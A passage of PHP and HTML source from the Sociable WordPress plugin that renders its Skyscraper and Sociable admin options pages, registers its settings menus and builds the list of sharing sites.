$wi?>px</option> <?php $wi +=5; }?> </select> </DIV> <DIV style="margin:0 0 0 25px" class="Post-subTXT" id="Post-subTXT" ><?php _e("Background Color","sociable");?>: <input value="<?php echo $skyscraper_options['background_color']?>" style="margin-left:22px" id="background_color" name="skyscraper_options[background_color]" type="text" /> ( #fefefe default color) </DIV> <DIV style="margin:0 0 0 25px" class="Post-subTXT" id="Post-subTXT" ><?php _e("Labels Color","sociable");?>: <input value="<?php echo $skyscraper_options['labels_color']?>" style="margin-left:49px" id="background_color" name="skyscraper_options[labels_color]" type="text" /> ( #f7f7f7 default color) </DIV> <BR/> <TABLE class="Title-Box" cellspacing="0" cellpadding="0" id="Tagline-Title"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" > Social Options </TD> <TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV style="margin:0 0 0 25px" class="Post-subTXT"> <?php _e("Your Twitter username","sociable");?>:<?php if (!empty($skyscraper_options["twitter_username"])){ $twitter_username = $skyscraper_options["twitter_username"]; } else{ $twitter_username = "@"; } ?> <input type="text" name="skyscraper_options[twitter_username]" value="<?php echo $twitter_username?>" /> <select name="skyscraper_options[num_tweets]" id="num_tweets"> <?php self:: create_select_options($skyscraper_options["num_tweets"]) ?> </select> </DIV> <BR/> <DIV style="border: 1px solid rgb(223, 223, 223); margin-left: 22px; font-size: 10px; font-style: italic; width: 327px; padding: 0px 11px;"> <p>This feature will read your latest tweets and mentions posted by other users and show them on skyscraper sociable. <p>Sociable will save and use your twitter username only to read tweets. </p> <p>Your visitors can read the information that you are sharing.</p> <p>If you agree check here: <?php $sel = ""; if (isset($skyscraper_options["accept_read_twitter"])){ if ($skyscraper_options["accept_read_twitter"] == 1){ $sel = "checked"; } } ?> <input type="checkbox" <?php echo $sel?> name="skyscraper_options[accept_read_twitter]" value="1"/> </p> </DIV> <BR/> <BR/> <DIV style="margin:0 0 0 25px" class="Post-subTXT"> <?php _e("Your RSS feed","sociable");?>: <?php if (!empty($skyscraper_options["rss_feed"])){ $rss_feed = $skyscraper_options["rss_feed"]; } else{ $rss_feed = "http://"; } ?> <input type="text" name="skyscraper_options[rss_feed]" style="margin-left: 46px;" value="<?php echo $rss_feed?>" /> <select name="skyscraper_options[num_rss]" id="num_rss"> <?php self:: create_select_options($skyscraper_options["num_rss"]) ?> </select> </DIV><BR/> <DIV style="border: 1px solid rgb(223, 223, 223); margin-left: 22px; font-size: 10px; font-style: italic; width: 327px; padding: 0px 11px;"> <p>This feature will read your rss posts and show them on skyscraper sociable. </p> <p>Sociable will save and use the rss url only to read posts.</p> <p>Your visitors can read the information that you are sharing.</p> <p>If you agree check here: <?php $sel = ""; if (isset($skyscraper_options["accept_read_rss"])){ if ($skyscraper_options["accept_read_rss"] == 1){ $sel = "checked"; } } ?> <input type="checkbox" <?php echo $sel?> name="skyscraper_options[accept_read_rss]" value="1"/></p> </DIV> <BR/><BR/> <DIV style="margin:0 0 0 25px" class="Post-subTXT"> <?php $checked = ""; if (isset($skyscraper_options["counters"]["check"])){ $checked = "checked"; } $folded = "checked"; $unfolded = ""; if (isset($skyscraper_options["counters"]["folded"])){ if($skyscraper_options["counters"]["folded"] == "1"){ $folded = "checked"; $unfolded= ""; }else{ $unfolded = "checked"; $folded= ""; } } ?> <input type="checkbox" <?php echo $checked ?> name="skyscraper_options[counters][check]" id="" /> Counters <input name="skyscraper_options[counters][folded]" <?php echo $unfolded?> value="0" type="radio">Folded <input name="skyscraper_options[counters][folded]" <?php echo $folded?> value="1" type="radio">Unfolded </DIV><BR/> <DIV style="border: 1px solid rgb(223, 223, 223); margin-left: 22px; font-size: 10px; font-style: italic; width: 327px; padding: 0px 11px;"> <p>This feature load Facebook Counter, Twitter Counter and Google Plus Counter.</p> <p>Will load scripts from each site and show information of yours visitors and maybe and could delay the load of the page.</p> </p> </DIV> <BR/> <BR/> <DIV style="margin:0 0 0 25px" class="Post-subTXT"> <?php $checked = ""; if (isset($skyscraper_options["share"]["check"])){ $checked = "checked"; } else{ $checked = ""; } if (isset($skyscraper_options["share"]["folded"])){ if($skyscraper_options["share"]["folded"] == "1"){ $folded = "checked"; $unfolded= ""; }else{ $unfolded = "checked"; $folded= ""; } } ?> <input type="checkbox" <?php echo $checked ?> name="skyscraper_options[share][check]" /> Share <input style="margin-left:19px" <?php echo $unfolded?> value="0" name="skyscraper_options[share][folded]" type="radio">Folded <input name="skyscraper_options[share][folded]" <?php echo $folded?> value="1" type="radio">Unfolded </DIV> <DIV class="Content-Box" id="Preview-Content"> </DIV> <div style="clear:both"></div> <BR/> <DIV class="Content-Box" id="Preview-Content"> <ul class="items_li"> <li> <?php $checked = ""; if (isset($skyscraper_options['follow_us_check']) && $skyscraper_options['follow_us_check'] == "on"){ $checked = "checked"; } ?> Follow Us <ul class="sub_item_li"> <li> <?php $checked = ""; if (isset($skyscraper_options['follow_us']['twitter']["active"]) && $skyscraper_options['follow_us']['twitter']["active"] == "on"){ $checked = "checked"; } ?> <input <?php echo $checked ?> name="skyscraper_options[follow_us][twitter][active]" type="checkbox" style="padding-bottom:5px" /> <?php $account = "http://twitter.com/"; if(!empty($skyscraper_options["follow_us"]["twitter"]["account"])){ $account = $skyscraper_options["follow_us"]["twitter"]["account"]; } ?> <input type="hidden" value="t.png" name="skyscraper_options[follow_us][twitter][logo]" /> <img style="padding-bottom:5px" src="<?php echo SOCIABLE_HTTP_PATH ?>images/toolbar/t.png"/> <input size="40" name="skyscraper_options[follow_us][twitter][account]" value="<?php echo $account?>" type="text" /> </li> <li> <?php $checked = ""; if ( isset($skyscraper_options['follow_us']['feed']["active"]) && $skyscraper_options['follow_us']['feed']["active"] == "on"){ $checked = "checked"; } ?> <input <?php echo $checked ?> name="skyscraper_options[follow_us][feed][active]" type="checkbox" style="padding-bottom:5px" /> <input type="hidden" value="rss.png" name="skyscraper_options[follow_us][feed][logo]" /> <?php $rss = "http://"; if(!empty($skyscraper_options["follow_us"]["feed"]["account"])){ $rss = $skyscraper_options["follow_us"]["feed"]["account"]; } ?> <img style="padding-bottom:5px" src="<?php echo SOCIABLE_HTTP_PATH ?>images/toolbar/rss.png"/> <input size="40" value="<?php echo $rss?>" name="skyscraper_options[follow_us][feed][account]" type="text" /> </li> <li> <?php $checked = ""; if ( isset($skyscraper_options['follow_us']['fb']["active"]) && $skyscraper_options['follow_us']['fb']["active"] == "on"){ $checked = "checked"; } ?> <input <?php echo $checked ?> name="skyscraper_options[follow_us][fb][active]" type="checkbox" style="padding-bottom:5px" /> <input type="hidden" value="f.png" name="skyscraper_options[follow_us][fb][logo]" /> <?php $fb = "http://facebook.com/"; if(!empty($skyscraper_options["follow_us"]["fb"]["account"])){ $fb = $skyscraper_options["follow_us"]["fb"]["account"]; } ?> <img style="padding-bottom:5px" src="<?php echo SOCIABLE_HTTP_PATH ?>images/toolbar/f.png"/> <input size="40" value="<?php echo $fb?>" name="skyscraper_options[follow_us][fb][account]" type="text" /> </li> <li> <?php $checked = ""; if ( isset($skyscraper_options['follow_us']['li']["active"]) && $skyscraper_options['follow_us']['li']["active"] == "on"){ $checked = "checked"; } ?> <input <?php echo $checked ?> name="skyscraper_options[follow_us][li][active]" type="checkbox" style="padding-bottom:5px" /> <input type="hidden" value="i.png" name="skyscraper_options[follow_us][li][logo]" /> <input type="hidden" value="linkedin.com/in/" name="skyscraper_options[follow_us][li][url]" /> <?php $li = "http://linkedin.com/"; if(!empty($skyscraper_options["follow_us"]["li"]["account"])){ $li = $skyscraper_options["follow_us"]["li"]["account"]; } ?> <img style="padding-bottom:5px" src="<?php echo SOCIABLE_HTTP_PATH ?>images/toolbar/i.png"/> <input size="40" value="<?php echo $li?>" name="skyscraper_options[follow_us][li][account]" type="text" /> </li> </ul> </li> </ul> </DIV> <br /> <div class="Content-Box" id="Active-Content" style="display: block;"> <br> <div align="center" style="width:100%;"> <table align="center" cellspacing="0" cellpadding="10" border="0" class="GeneralOptions-List"> <tbody><tr valign="top"> <td align="right" class="Title">Active Sociable Banner</td> <td align="left" style="width:5px;"> <?php $sel = ""; if (isset($skyscraper_options["sociable_banner"])){ if (!empty($skyscraper_options["sociable_banner"])){ $sel = "checked"; } } ?> <input type="checkbox" name="skyscraper_options[sociable_banner]" id="sociable_banner" <?php echo $sel?>></td> <td align="left" class="Content"> <span class="TXT">Active Sociable "Reminder to Share" Banner / Check if you want to remind your readers Share your content.</span> <br> </td> </tr> <tr valign="top"> <td align="right" class="Title">Blogplay Tags</td> <td align="left" style="width:5px;"> <?php $sel = ""; if (isset($skyscraper_options["blogplay_tags"])){ if (!empty($skyscraper_options["blogplay_tags"])){ $sel = "checked"; } } ?> <input type="checkbox" name="skyscraper_options[blogplay_tags]" id="blogplay_tags" <?php echo $sel?>></td> <td align="left" class="Content"> <span class="TXT">Accept include the blogplay.com tag into my shares and counters.</span> <br> </td> </tr> <tr valign="top"> <td align="right" class="Title">Banner's label (35 char Max.)</td> <td align="left" style="width:5px;"> <?php $sel = 'Please spread the word: Be Sociable, Share!'; if (isset($skyscraper_options["sociable_banner_text"])){ if (!empty($skyscraper_options["sociable_banner_text"])){ $sel = $skyscraper_options["sociable_banner_text"]; } } ?> </td> <td align="left" class="Content"> <span class="TXT"> <input style="width:245px !important" type="text" name="skyscraper_options[sociable_banner_text]" value="<?php echo $sel?>"></span> <br> </td> </tr> <tr valign="top"> <td align="right" class="Title">Banners Timer (sec.)</td> <td align="left" style="width:5px;"> </td> <td align="left" class="Content"> <span class="TXT"> <select name="skyscraper_options[sociable_banner_timer]" id="banner_timer" > <?php for($timer=10; $timer <= 120; $timer++){ $sel = ""; if (!empty($skyscraper_options["sociable_banner_timer"])){ if ($skyscraper_options["sociable_banner_timer"] == $timer){ $sel = "selected"; } } ?> <option value="<?php echo $timer?>" <?php echo $sel ?> ><?php echo $timer?></option> <?php $timer = $timer + 4; } ?> </select> </span> <br> </td> </tr> <tr valign="top"> <td align="right" class="Title">Font Color <a title="default color #6A6A6A" class="default_values">(#6A6A6A)</a></td> <td align="left" style="width:5px;"> </td> <td align="left" class="Content"> <span class="TXT"> <?php $sel = '#6A6A6A'; if (isset($skyscraper_options["sociable_banner_colorFont"])){ if (!empty($skyscraper_options["sociable_banner_colorFont"])){ $sel = $skyscraper_options["sociable_banner_colorFont"]; } } ?> <input type="text" value="<?php echo $sel?>" name="skyscraper_options[sociable_banner_colorFont]" style="width:81px !important"> </span> <br> </td> </tr> <!-- Font Size --> <tr valign="top"> <td align="right" class="Title">Font Size <a title="default size 9px" class="default_values">(9px)</a></td> <td align="left" style="width:5px;"> </td> <td align="left" class="Content"> <span class="TXT"> <select name="skyscraper_options[sociable_banner_fontSize]" id="banner_fontSize" > <?php for($fontSize=8; $fontSize <= 16; $fontSize++){ $sel = ""; if (!empty($skyscraper_options["sociable_banner_fontSize"])){ if ($skyscraper_options["sociable_banner_fontSize"] == $fontSize){ $sel = "selected"; } } ?> <option value="<?php echo $fontSize?>px" <?php echo $sel ?> ><?php echo $fontSize?>px</option> <?php } ?> </select> </span> <br> </td> </tr> <!-- color label --> <tr valign="top"> <td align="right" class="Title">Label Color <a title="default color #F7F7F7" class="default_values">(#F7F7F7)</a></td> <td align="left" style="width:5px;"> </td> <td align="left" class="Content"> <span class="TXT"> <?php $sel = '#F7F7F7'; if (isset($skyscraper_options["sociable_banner_colorLabel"])){ if (!empty($skyscraper_options["sociable_banner_colorLabel"])){ $sel = $skyscraper_options["sociable_banner_colorLabel"]; } } ?> <input type="text" value="<?php echo $sel?>" name="skyscraper_options[sociable_banner_colorLabel]" style="width:81px !important"> </span> <br> </td> </tr> <!-- color font --> <tr valign="top"> <td align="right" class="Title">Background Color <a title="default color #F7F7F7" class="default_values">(#F7F7F7)</a></td> <td align="left" style="width:5px;"> </td> <td align="left" class="Content"> <span class="TXT"> <?php $sel = '#F7F7F7'; if (isset($skyscraper_options["sociable_banner_colorBack"])){ if (!empty($skyscraper_options["sociable_banner_colorBack"])){ $sel = $skyscraper_options["sociable_banner_colorBack"]; } } ?> <input type="text" value="<?php echo $sel?>" name="skyscraper_options[sociable_banner_colorBack]" style="width:81px !important"> </span> <br> </td> </tr> </tbody></table> <br><br> </div> </div> <!-- general options --> <TABLE class="Title-Box" style="cursor:pointer;" cellspacing="0" cellpadding="0" onclick="hideOrShow('GeneralOptions');"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" id="GeneralOptions-Title" ><span id="GeneralOptions-Tab"> + </span> <?php _e("General Options","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV class="Content-Box" id="GeneralOptions-Content" style="display:none;" > <BR/> <DIV align="center" style="width:100%;"> <TABLE align="center" class="GeneralOptions-List" cellspacing="0" border=0 cellpadding ="10" > <TR valign="top" > <TD align="right" class="Title" ><?php _e("Widget Position","sociable")?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["widget_position"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[widget_position]" id="widget_position" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Check if you want Sociable Fixed on the screen","sociable");?> </SPAN> <BR/> </TD> </TR> </TABLE> <BR/><BR/> </DIV> </DIV> <TABLE class="Title-Box" style="cursor:pointer;" cellspacing="0" cellpadding="0" onclick="hideOrShow('Locations');" > <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" id="Locations-Title" ><span id="Locations-Tab">+ </span><?php _e("Locations","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV class="Content-Box" id="Locations-Content" style="display:none;" > <DIV class="Locations-TXT" id="Locations-TXT" ><?php _e("Please select the locations that you wish to allow the Sociable plugin to insert itself.","sociable");?></DIV> <BR/> <DIV align="center" style="width:100%;"> <TABLE align="center" class="Locations-List" cellspacing="0" border=0 cellpadding="10"> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Home page","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["locations"]["is_front_page"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[locations][is_front_page]" id="HomePage" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("The front page of the blog (if set to a static page), or the main blog page (if set to your latest posts).","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Blog page","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["locations"]["is_home"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[locations][is_home]" id="BlogPage" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("The home page of the blog if is set to your latest posts, or the posts page if the home page is set to a static page","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Posts","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["locations"]["is_single"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[locations][is_single]" id="Posts" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Single post pages","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Pages","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["locations"]["is_page"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[locations][is_page]" id="Pages" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Individual Wordpress pages","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Category archives","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["locations"]["is_category"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[locations][is_category]" id="CategoryArchives" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Category archive pages","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Date archives","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["locations"]["is_date"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[locations][is_date]" id="DateArchives" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Date archive pages","sociable");?> </SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Tag archives","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["locations"]["is_tag"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[locations][is_tag]" id="TagArchives" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Tag archive pages","sociable");?> </SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Author archives","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["locations"]["is_author"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[locations][is_author]" id="AuthorArchives" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Author archive pages","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("Search results","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["locations"]["is_search"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[locations][is_search]" id="SearchResults" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("Search results pages","sociable");?></SPAN> </TD> </TR> <TR valign="top" > <TD align="right" class="Title" ><?php _e("RSS feeds","sociable");?></TD> <TD align="left" style="width:5px;" ><INPUT <?php if(!empty($skyscraper_options["locations"]["is_rss"])) echo "checked='checked'"?> type="checkbox" name="skyscraper_options[locations][is_rss]" id="RssFeeds" /></TD> <TD align="left" class="Content"> <SPAN class="TXT"><?php _e("RSS feeds","sociable");?></SPAN> </TD> </TR> </TABLE> <BR/><BR/> </DIV> </DIV> <TABLE class="Title-Box" style="cursor:pointer;" cellspacing="0" cellpadding="0" onclick="hideOrShow('Active');" > <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" id="Active-Title" ><span id="Active-Tab">+ </span><?php _e("Active Skyscraper","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <div style="display: block;" id="Active-Content" class="Content-Box"> <br /> <div align="center" style="width:100%;"> <table align="center" cellspacing="0" cellpadding="10" border="0" class="GeneralOptions-List"> <tbody><tr valign="top"> <td align="right" class="Title">Active Skyscraper</td> <td align="left" style="width:5px;"> <input <?php if(isset($skyscraper_options["active"])) echo "checked='checked'"?> type="checkbox" id="active" name="skyscraper_options[active]" ></td> <td align="left" class="Content"> <span class="TXT">Check if you want Sociable Skyscraper enable </span> <br /> </td> </tr> </tbody></table> <br/><br/> </div> </div> <br/><br/> <TABLE class="Title-Box" style="cursor:pointer;" cellspacing="0" cellpadding="0"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" id="Active-Title" ><span id="Active-Tab">+ </span><?php _e("Send my config","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <div style="display: block;" id="Active-Content" class="Content-Box"> <br /> <div align="center" style="width:100%;"> <table align="center" cellspacing="0" cellpadding="10" border="0" class="GeneralOptions-List"> <tbody><tr valign="top"> <td align="right" class="Title">Send my config</td> <td align="left" style="width:5px;"> <?php $checked = ""; if (!empty($skyscraper_options["pixel"])){ $checked = "checked='checked'"; } ?> <input <?php echo $checked ?> type="checkbox" id="active" name="skyscraper_options[pixel]" /> </td> <td align="left" class="Content"> <span class="TXT">Check if you want help Sociable grow. <br /><br /> This information be used only to improve Sociable. <br /><br />You accept send us your blog configuration and blog name </span> <br /> </td> </tr> </tbody></table> <br/><br/> </div> </div> <br/><br/> <?php settings_fields( 'skyscraper_options_group' ); ?> </form> <div class="Content-Box"> <form id="sociable_reset_form" action="" method="POST"> <?php wp_nonce_field('sociable-reset'); ?> <input type="hidden" id="skyscraper_reset" name="skyscraper_reset" value="1"> <?php //submit_button( __( 'Reset Sociable' ) , 'primary', 'sociable_reset', false ); ?> </form> <div id="ActionsBar"> <div style="cursor:pointer;line-height:15px;" onclick="document.getElementById('form1').submit();" class="SaveChanges"><br> <span style="margin:30px;">Save Changes</span> </div> <div style="cursor:pointer;line-height:15px;font-size:12px;" onclick="document.getElementById('sociable_reset_form').submit();" name="sociable_reset" id="sociable_reset" class="ResetSociable"><br> <span style="margin:40px;margin-left:35px;">Reset Skyscraper</span> </div> </div> </div> </div> <div style="float:left;width:49%;margin-left:15px" name="skyscraper" id="skyscraper"> <script type="text/javascript"> var base_url_sociable = "<?php echo SOCIABLE_HTTP_PATH?>"; </script> </div> <?php } /** * Add The Menu Pages To The Administration Options */ function add_menu_pages(){ global $sociable_post_types; $url = $_SERVER["QUERY_STRING"]; // $page[] = add_options_page( __( 'Sociable Options' ), __( 'Sociable Plugin' ), 'manage_options', 'sociable_select' , array( 'sociable_Admin_Options' , 'Select_Sociable_Page' ) ); //$page[]= add_plugins_page( __( 'Sociable Options' ), __( 'Sociable Plugin' ), 'manage_options', 'Create_Options_Page_Skycraper' ); //$page[]= add_plugins_page( 'sociable_options', 'sociable_options', 'read', 'Create_Options_Page' ); $page[] = add_options_page( "","", 'manage_options', 'sociable_select' , array( 'sociable_Admin_Options' , 'Select_Sociable_Page' ) ); $page[] = add_options_page( "","", 'manage_options', 'sociable_options' , array( 'sociable_Admin_Options' , 'Create_Options_Page' ) ); $page[] = add_options_page( "","", 'manage_options', 'skyscraper_options' , array( 'sociable_Admin_Options' , 'Create_Options_Page_Skycraper' ) ); // Add a new submenu under Settings: // $page[] = add_options_page(__( 'Sociable Options' ),__( 'Sociable Plugin' ), 'manage_options', 'sociable_select', 'Select_Sociable_Page'); // Add a new top-level menu (ill-advised): add_menu_page(__( 'Sociable Options' ), __( 'Select Sociable Plugin' ), 'manage_options', '/options-general.php?page=sociable_select' ); // Add a submenu to the custom top-level menu: add_submenu_page('options-general.php?page=sociable_select', __( 'Sociable Options' ), __( 'Sociable Options' ), 'manage_options', 'sociable_options' , array( 'sociable_Admin_Options' , 'Create_Options_Page' ) ); // Add a second submenu to the custom top-level menu: add_submenu_page('options-general.php?page=sociable_select', __( 'Skyscraper Options' ), __( 'Skyscraper Options' ), 'manage_options', 'skyscraper_options' , array( 'sociable_Admin_Options' , 'Create_Options_Page_Skycraper' ) ); //Add CSS And Javascript Specific To This Options Pages add_action( 'admin_print_styles-' . $page[0] , array( 'sociable_Admin_Options' , 'enqueue_styles' ) ); add_action( 'admin_print_scripts-' . $page[0] , array( 'sociable_Admin_Options' , 'enqueue_scripts' ) ); add_action( 'admin_print_styles-' . $page[1] , array( 'sociable_Admin_Options' , 'enqueue_styles' ) ); add_action( 'admin_print_scripts-' . $page[1] , array( 'sociable_Admin_Options' , 'enqueue_scripts' ) ); add_action( 'admin_print_styles-' . $page[2] , array( 'sociable_Admin_Options' , 'enqueue_styles' ) ); add_action( 'admin_print_scripts-' . $page[2] , array( 'sociable_Admin_Options' , 'enqueue_scripts' ) ); if( isset( $_POST['sociable_reset'] ) ){ check_admin_referer( 'sociable-reset' ); sociable_reset(); wp_redirect( $_SERVER['HTTP_REFERER' ] ); } if( isset( $_POST['skyscraper_reset'] ) ){ check_admin_referer( 'sociable-reset' ); skyscraper_reset(); wp_redirect( $_SERVER['HTTP_REFERER' ] ); } /* * We can create The Meta Boxes Here */ foreach( $sociable_post_types as $type => $data ){ self::add_meta_box( $type ); } //Also on posts and pages self::add_meta_box( 'post' ); self::add_meta_box( 'page' ); } /* * Function to Enqueue The Styles For The Options Page */ function enqueue_styles(){ wp_enqueue_style( 'style-admin-css', SOCIABLE_HTTP_PATH . 'css/style-admin.css' ); wp_enqueue_style( 'sociable-admin-css', SOCIABLE_HTTP_PATH . 'css/sociable-admin.css' ); wp_enqueue_style( 'sociablecss' , SOCIABLE_HTTP_PATH . 'css/sociable.css' ); } /* * Function To Enqueue The Scripts For The Options Page */ function enqueue_scripts(){ wp_enqueue_script('jquery'); wp_enqueue_script('jquery-ui-core',false,array('jquery')); wp_enqueue_script('jquery-ui-sortable',false,array('jquery','jquery-ui-core')); wp_enqueue_script( 'sociable-admin-js', SOCIABLE_HTTP_PATH . 'js/sociable-admin.js' , array( 'jquery','jquery-ui-core' , 'jquery-ui-sortable' ) ); wp_enqueue_script( 'admin-fn-js', SOCIABLE_HTTP_PATH . 'js/admin-fn.js' , array( 'jquery','jquery-ui-core' , 'jquery-ui-sortable' ) ); } /* * Function To Add The Settings Fields. */ function do_site_selection_list($plugin = 'sociable'){ if ($plugin == 'sociable'){ global $sociable_options; $option_plugin = $sociable_options; $name_plugin = "sociable_options"; } else{ global $skyscraper_options; $option_plugin = $skyscraper_options; $name_plugin = "skyscraper_options"; } $sociable_known_sites = get_option( 'sociable_known_sites' ); /* * Sort The List Based On The Active Sites So That They Display Correctly. */ $active_sites = isset( $option_plugin['active_sites'] ) && is_array( $option_plugin['active_sites'] ) ? $option_plugin['active_sites'] : array() ; //Start Blank $active = Array(); //Disabled Untill Proven Active $disabled = $sociable_known_sites; //Loop Through The Active Sites, sorting into 2 arrays foreach( $active_sites as $sitename => $value ) { $active[$sitename] = $disabled[$sitename]; unset( $disabled[$sitename] ); } uksort($disabled, "strnatcasecmp"); $sites = array_merge( $active, $disabled ); $imagepath = isset( $option_plugin['sociable_imagedir'] ) ? $option_plugin['sociable_imagedir'] : '' ; if ($imagepath == "") { $imagepath = trailingslashit( SOCIABLE_HTTP_PATH ) . 'images/'; } else { $imagepath .= trailingslashit( $imagepath ); } $out ='<ul id="sociable_site_list" >' ; $io = 0; foreach( $sites as $sitename => $site ){ //Set Checked And Active If Relevant if( array_key_exists( $sitename, $active_sites ) ){ $checked = 'checked="checked"'; $active = 'active'; } else { $checked = ''; $active = 'inactive'; } if ( $sitename != "More"){ if (isset($site["counter"])){ //$image = "<img src='".SOCIABLE_HTTP_PATH."images/".$site["favicon"]."'>"; $image = $site["url"]; }else{ $image = _get_sociable_image( $site, '' ); } }else{ $image = "<img src='".SOCIABLE_HTTP_PATH."images/more.png'>"; } // if ( ! isset( $site['spriteCoordinates']) || isset( $sociable_options['sociable_disablesprite'] ) ) { // if (strpos($site['favicon'], 'http') === 0) { // $imgsrc = $site['favicon']; // } else { // $imgsrc = $imagepath.$site['favicon']; // } // $img = '<img src="' . $imgsrc . '" width="16" height="16" />'; // } else { // $imgsrc = $imagepath."services-sprite.gif"; // $services_sprite_url = $imagepath . "services-sprite.png"; // $spriteCoords = $site['spriteCoordinates']; // $img = '<img src="' . $imgsrc . '" width="16" height="16" style="background: transparent url(' . $services_sprite_url . ') no-repeat; background-position:-' . $spriteCoords[0] . 'px -' . $spriteCoords[1] . 'px" />'; // } $out .= '<li id="' . $sitename . '" class="' . $active . '">'; $out .= '<input type="checkbox" id="cb_' . $sitename . '" name="'.$name_plugin.'[active_sites][' . $sitename . ']" ' . $checked . ' />'; $out .= $image; if (!isset($site["counter"])){ $out .= $sitename; } $out .= '</li>'; } echo $out."</ul>"; } /* * Create The HTML For The Options Page */ function Create_Options_Page(){ global $sociable_options; global $skyscraper_options; ?> <style> .Title-Box .BG-Middle { vertical-align: middle; } </style> <div class="wrap"> <DIV style="margin:0 0 0 25px" class="Post-subTXT" id="Post-subTXT" > <iframe src="//www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblogplay.com%2F&send=false&layout=standard&width=450&show_faces=true&action=recommend&colorscheme=light&font&height=80&appId=133479460071366" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:40px;" allowTransparency="true"></iframe><br /> <a href="https://twitter.com/share" class="twitter-share-button" data-url="http://blogplay.com" data-text="Check the sociable plugin" >Tweet</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script> <br /> </div> <h2 style="clear:both;"><?php _e( 'Sociable Options' ); ?></h2> <form method="post" action="options.php" id="form1" autocomplete="off"> <?php wp_nonce_field('sociable-config'); ?> <INPUT type="hidden" class="version-INPUT" id="version" name="sociable_options[version]" value="<?php echo$sociable_options["version"];?>" /> <INPUT type="hidden" id="blogplay_tags" name="sociable_options[blogplay_tags]" value="1" /> <TABLE class="Title-Box" cellspacing="0" cellpadding="0" id="Preview-Title" style="margin:0 0 0 25px"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" >Preview</TD><TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV class="Content-Box" id="Preview-Content"> <DIV style="margin:0 0 0 25px" align="left" class="Live-Preview" id="Live-Preview" ><?php _e("Live preview of how Sociable will appear on your blog.","sociable")?></DIV> <BR/> <DIV style="margin:0 0 0 25px" class="Post-TXT" id="Post-TXT" ><?php _e("This is your post here...","sociable")?></DIV> <DIV style="margin:0 0 0 25px" class="Post-subTXT" id="Post-subTXT" >Lorem ipsum dolor sit amet, consectetur adipiscing elit.</DIV> <BR/> <DIV style="margin:0 0 0 25px" id="ShareAndEnjoy" > <?php do_sociable(); ?></DIV> </DIV> <TABLE class="Title-Box" cellspacing="0" cellpadding="0" id="Tagline-Title"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" ><?php _e("Tagline","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV class="Content-Box" id="Tagline-Content"> <DIV class="Tagline-TXT" id="Tagline-TXT" ><?php _e('Previously we used "Share and Enjoy", remember the good old days?',"sociable");?></DIV> <BR/> <DIV style="width:100%;height:60px;"> <INPUT type="text" class="Tagline-INPUT" id="tagline" name="sociable_options[tagline]" value="<?php 